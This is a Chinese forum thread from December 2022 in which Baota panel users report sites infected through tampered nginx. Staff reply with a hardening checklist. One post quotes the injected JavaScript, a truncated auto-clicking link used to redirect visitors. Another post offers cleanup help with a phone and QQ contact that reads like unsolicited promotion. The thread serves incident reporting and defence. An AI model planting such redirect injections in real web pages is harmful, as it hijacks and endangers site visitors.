【已完成】【非标题党】宝塔严重未知安全性漏洞

论坛已经很多人反馈了，具体内容参考loc
https://hostloc.com/forum.php?mod=viewthread&tid=1111691&extra=page%3D2&mobile=2

今天有个朋友的js都被加了一段劫持代码，
经过检查发现实际文件不存在劫持js代码，但是访问有，晚上的时候论坛出现好几例被挂马，数据异常，异地登录的反馈

下午给url加上随机数，劫持js消失，疑似缓存被篡改，但是原服务器没有安装任何除nginx php mysql之外的插件

检查了nginx配置文件，伪静态，都没能检查出问题。
可以确认就是宝塔的问题，因为朋友的那台机器根本没有任何web篡改的迹象，并且文件检查都是正常的。

您好，如果您那边有机器的话，可通过论坛私信联系我您信息，这边可协助您排查

一台服务器昨天莫名奇妙被人登录了宝塔，有点奇怪，就是最*几天，只能先关了面板，用得时候再ssh连上开启

宝塔用户_wbidlm 发表于 2022-12-8 20:28
一台服务器昨天莫名奇妙被人登录了宝塔，有点奇怪，就是最*几天，只能先关了面板，用得时候再ssh连上开启 ...

管用吗这样  我也是关闭了

樱落丶未央 发表于 2022-12-8 20:42
管用吗这样  我也是关闭了

一直用得ssh密钥登录，只开放了业务端口，之前服务器被人黑过几次，最后都是找到是php版本漏洞，这次排查了一下，怎么都找不到问题，感觉是宝塔得问题，毕竟开源被人研究出来漏洞很正常；这个人登录我得服务器就上来find 程序代码，感觉像是来挂码得

感谢反馈，当前有个别用户反馈被挂马的情况，我们正在全力排查中，暂时未发现面板存在有安全漏洞的风险。如果您担心面板存在风险，可以登录终端执行bt stop命令停止面板服务，停止面板服务不会影响您网站的正常运行。

桥哥 发表于 2022-12-8 21:19
感谢反馈，当前有个别用户反馈被挂马的情况，我们正在全力排查中，暂时未发现面板存在有安全漏洞的风险。如 ...

您好，请问从新启用的命令是什么，谢谢

桥哥 发表于 2022-12-8 21:19
感谢反馈，当前有个别用户反馈被挂马的情况，我们正在全力排查中，暂时未发现面板存在有安全漏洞的风险。如 ...

https://hostloc.com/thread-1111691-1-1.html

装有wordpress
apache,nginx都一样
使用移动UA，访问HTTP，非HTTPS。
JS文件被插入代码
(function(){var e=document,c=e.createElement("a");c.,e.body.appendChild(c),c.click()})()
不是每次都插入，还IP清除缓存基本第一次都会被插入。
空网站目录依然跳转。

宝塔用户_jdqmcs 发表于 2022-12-8 23:08
您好，请问从新启用的命令是什么，谢谢

rm -f /www/server/panel/data/close.pl

xiaobo9299556 发表于 2022-12-9 09:11
rm -f /www/server/panel/data/close.pl

qnmd 误导人家是吧

宝塔用户_dgnbpt 发表于 2022-12-9 09:27
qnmd 误导人家是吧

没事的 谢谢 官哥已经回复了：bt restart

谢花郎 发表于 2022-12-8 19:51
您好，如果您那边有机器的话，可通过论坛私信联系我您信息，这边可协助您排查 ...

你好，感谢您的回复。客户听说已经联系你们了，但是似乎也没得到一个肯定的答和修复方案。目前公司这边所有宝塔全部下线了，前几天忙着转移数据去了。我个人还是希望继续使用宝塔。

dwtonline 发表于 2022-12-13 05:35
你好，感谢您的回复。客户听说已经联系你们了，但是似乎也没得到一个肯定的答和修复方案。目前公司这边所 ...

因Nginx被篡改导致网站被挂马，联系我们客服，免费跟进处理，联系方式电话：0769-23030556，或QQ：1021266737

当前还在统计样本中，目前是少部分用户的海外机器被挂马，经分析，非大面积服务器被挂马，因挂马的服务器日志被清空了，分析溯源需要点时间。我们已排查了所有节点服务器，校对了文件MD5值，无异常。感谢支持，对于挂马事情给您造成的影响，深感抱歉。

宝塔面板中可以做出下面的措施进行网站、面板、服务器加固：
1、升级面板到最新版，已经是最新版的，在首页修复面板，修改安全入口及修改账号密码，开启动态口令认证（增强安全性）
2、nginx升级到当前主版本号的最新子版本，如1.22.0升级到1.22.1，已经是最新版的，请卸载重装
3、因生产需要暂时无法升级面板或nginx的，开启动态口令认证，有条件的设置授权IP
5、【企业版防篡改-重构版】插件可以有效防止网站被篡改，建议开启并设置root用户禁止修改文件（需要使用时再放开），另外，将nginx关键执行目录（/www/server/nginx/sbin）锁住
6、【宝塔系统加固】插件中的【关键目录加固】功能，可以将nginx关键执行目录（/www/server/nginx/sbin）锁住，此目录在正常使用中不会有任何修改的行为，除了重装以外其他修改行为均可视为被篡改，所以将它锁上。

确实有不少我之前也被挂马了，静态网站